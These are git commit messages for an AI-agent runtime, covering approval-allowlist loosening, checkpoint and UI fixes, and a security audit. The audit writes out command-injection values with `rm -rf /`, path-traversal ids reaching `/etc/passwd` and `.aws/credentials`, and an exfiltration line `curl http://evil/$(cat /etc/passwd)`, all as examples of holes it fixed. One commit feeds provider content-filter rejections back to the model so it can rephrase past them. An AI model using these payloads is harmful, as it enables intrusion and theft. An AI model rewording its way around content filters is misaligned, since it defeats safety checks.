Approval friction (harmless commands kept prompting):
- Persist "Allow for this session" grants to approval_allowlist.yaml under a
new sessions scope (capped LRU), hydrated lazily, so they survive `opc ui`
restarts and re-entering the session instead of living only in memory.
- Safe-prefix matching now accepts compound read-only commands: every segment
must match a safe prefix, and fd-duplication / /dev/null redirections
(2>&1, 2>/dev/null) no longer disqualify a command; real write redirections
(>, >>, <) still do. Default safe prefixes gain common read-only commands
(cd, cat, head, grep, git log, ...).
- First-use approval now gates only MEDIUM+ risk; heuristically LOW actions
proceed without a card.
- Shell-substitution detection flags eval/source only at command position of a
segment (no more false positives on `grep source file`); $(...) and
backticks still flag anywhere.
Approval card timeout redesign (deferred decisions):
- The card's structured approval context (action, allowlist patterns, scopes)
now travels through the escalation event into the persisted card metadata.
- Timeout without a default action no longer marks the card timed out, and the
session-detail reconciler no longer stales deferred-capable cards: the card
stays pending and clickable indefinitely, including across restarts.
- Clicking after the inline wait expired applies the allowlist grant
(approve-once grants the exact command at session scope), resolves the card,
and rewrites the reply to target the parked AWAITING_HUMAN checkpoint so the
task resumes through the normal message pipeline and the retried command
auto-approves. With no parked checkpoint the grant still lands and a helper
reply explains the state.
Verified: approval engine suite (40) incl. new deferred-decision and
compound-command tests, ws_handler + runtime suites green, real escalated
commands from project 999 replayed against the user's config now auto-approve
while pip install / $(...) / rm -rf / write redirects still prompt.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
A company-mode review left a pending task_user_input checkpoint behind: the
runtime carried the paused work item forward via approval-card grants and a
fresh review attempt without ever replying through the engine checkpoint. The
orphan row then captured the user's next chat message and resumed through the
deprecated multi-agent path with an empty task list, returning an empty reply.
Invariants added:
- write side: when a task settles (done/failed/cancelled) its pending
task_user_input/task_peer_wait checkpoints are superseded
- read side: checkpoint matching lazily resolves rows whose task settled or
whose linked work item reached a terminal phase (heals existing dirty DBs)
- resume: the primary task is always part of the resumed set; the
MULTI_AGENT/COMPANY_MODE value-alias no longer routes company checkpoints
into _execute_multi_agent (which silently returned "" on empty task lists)
Perf: get_latest_pending_checkpoint_for_session is called per task on every
UI sync tick, and its parent-session resolution loaded and JSON-parsed the
entire tasks table each time (24MB with inline artifact blobs) — a full core
pegged at 100% and the event loop starved so replies never surfaced. Now a
no-live-checkpoints fast path returns immediately, and the resolution uses a
targeted session_id query backed by a new tasks(session_id) index.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Approval cards raised by company-mode internal scheduling turns (review/report
work items, session ids like `<root>:review::<wid>::vN`) were posted to the
turn's own session channel, which the UI deliberately hides. The card silently
timed out after 300s and the work item parked on AWAITING_HUMAN, so users saw
only the gate card and never the approval prompt. ws_handler now detects these
internal turns and routes their escalation cards to origin_task_id, the root
session's primary task channel, or the activity channel — never the hidden one.
Also unblocks the previously dead origin/session fallbacks in the resolver.
Unclassified LLM stream failures (e.g. provider content-filter rejections like
"input may contain sensitive information") used to hit a blind truncate-retry
loop that replayed the identical payload for a dozen-plus consecutive failures.
runtime_v2 now feeds the provider's verbatim error text back into the
conversation as a "[runtime notice]" system message so the model can adapt
(rephrase, drop quotes, change tack), bounded at 2 feedback retries (counter
resets on any successful stream) plus one context-reset attempt, then fails
honestly with the real error. The blind truncate path remains only for
classified tool-protocol errors.
Verified: new end-to-end tests for recover-after-notice and bounded-failure;
runtime_v2 + ws_handler + escalation/approval + company-mode suites all green.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Native agent progress panel (company mode):
- ws_handler: filter runtime bookkeeping noise (turn/status/member_inbox_updated),
keep tool_completed as tool_call, thinking summary previews content,
preserve raw thinking_delta fragments (no strip; skip whitespace-only)
- frontend progressLog: summarize thinking by content preview; merge thinking
by detail only so the 'Thinking' label never splices into text
- AgentProgressBlock: add bottom "Show more (N earlier steps)" toggle
ui_state.db "database is locked" hardening:
- ws_handler: isolate engine progress/kanban/runtime-event callbacks so UI
persistence failures never crash work items
- chat_store: busy_timeout, _retry_locked backoff, idempotent insert_message
(INSERT OR REPLACE), create_channel read-before-write to stop poll writes
- server: flock single-instance guard for `opc ui` per OPC home
Approval card duplicate-click bug:
- EscalationPanel: disable buttons on click with Submitting state and 30s
reconnect fallback
- ws_handler: stale-escalation branch checks real card status (new
chat_store.get_checkpoint_message); already-resolved cards get an accurate
"already handled (decision: X)" reply without being re-marked stale;
dedup identical helper messages within 120s to stop reply spam
Company mode prompt:
- add soft guidance that the runtime monitors state and re-activates roles,
so leaders need not poll work items after delegation/review
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
- get_context_window() now reads litellm.get_model_info().max_input_tokens
instead of get_max_tokens(), which returns the output cap and severely
under-reported the window for every mapped model (e.g. deepseek 8k vs 1M)
- models litellm cannot map fall back to 128000 with a single warning per
model instead of warning on every call and returning None
- raise LLMConfig.max_tokens default 8192 -> 32768 to match the template
- README: configure the API key directly in llm_config.yaml; document
max_tokens / context_window in the example
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
A security and robustness audit of the tool-execution, market-package, and
approval subsystems surfaced several high-impact issues. Each is fixed with a
minimal, targeted change; regression tests are included.
Command injection (shell_exec runs `bash -lc "<cmd>"`, so interpolated args are
shell-evaluated):
- git_commit: the commit message was interpolated raw into the command string.
A message like `foo" && rm -rf / #` injected arbitrary commands, and the
approval layer never inspects `message`. Now shlex-quoted.
- git_clone: the URL was interpolated raw. `https://x.git; rm -rf /` or
`$(curl ...)` was executed. Now shlex-quoted.
Path traversal:
- package_loader._write_prompts / uninstall: `package_id` (from an untrusted
manifest) was used directly as a directory name under prompts/market and
passed to mkdir(parents=True) / shutil.rmtree. An id like
`../../projects/<victim>` enabled arbitrary file write and arbitrary
directory deletion. Added _market_prompts_dir() which validates the id
(lowercase alphanumeric + -/_) and confirms the resolved path stays inside
the market base; uninstall validates up front. Prompt-content filenames are
also confined to the package dir.
- sandbox_checker: a malformed package id was only a *warning*, so
report.passed stayed True and callers proceeded. Promoted to a hard error.
- package_exporter: prompt refs (bare strings from package definitions) were
read with `opc_home / ref`, so `/etc/passwd` or `../../.aws/credentials`
were bundled into exported packages. Now confined to opc_home.
- ws_handler._write_custom_prompt: employee_id (derived from user-supplied
role id/name) flowed unchecked into the path, enabling traversal writes.
Now reduced to a safe path component with a containment check.
Approval bypass:
- approval: a command beginning with a safe prefix (curl/echo/find/...) was
auto-approved as LOW risk even when it contained shell command substitution.
`curl http://evil/$(cat /etc/passwd)` was classified safe and ran with no
human/LLM review, letting bash exfil data. Added
_command_has_shell_substitution() and gated safe-prefix matching on it.
Correctness / robustness:
- shell: when a shell_prefix was active, `[args[0], args[1], command]` dropped
the `-Command` flag from PowerShell argv (4 elements), silently breaking
every prefixed PowerShell tool call. Now replaces only the trailing arg.
- runtime_v2: tool arguments that are valid JSON but not an object (e.g. a
JSON array) were silently replaced with `{}` while arguments_parse_error
stayed None, so the tool executed with empty args (todo_write could wipe the
task ledger). Now flagged with a parse error.
- store: _json_loads raised on corrupt JSON; it is called during
store.initialize() (via _sweep_stale_claims), so a single corrupt row
prevented the store from ever opening. Now falls back to the default.
- engine: _parse_reorg_payload returned any JSON type; callers did
`.get(...)` and crashed (AttributeError) on `reorg propose 42`. Now returns
None for non-dict JSON.
- channels.manager: a single failing channel.send propagated out of the only
outbound dispatch loop and silently stopped all message delivery on every
channel until restart. Now caught and logged.
- ws_handler: a non-object JSON frame (null/number/array/string) made
`data.get` raise AttributeError and drop the whole WS connection. Non-dict
frames are now ignored.
Co-Authored-By: Claude <noreply@anthropic.com>
LZH-YS1998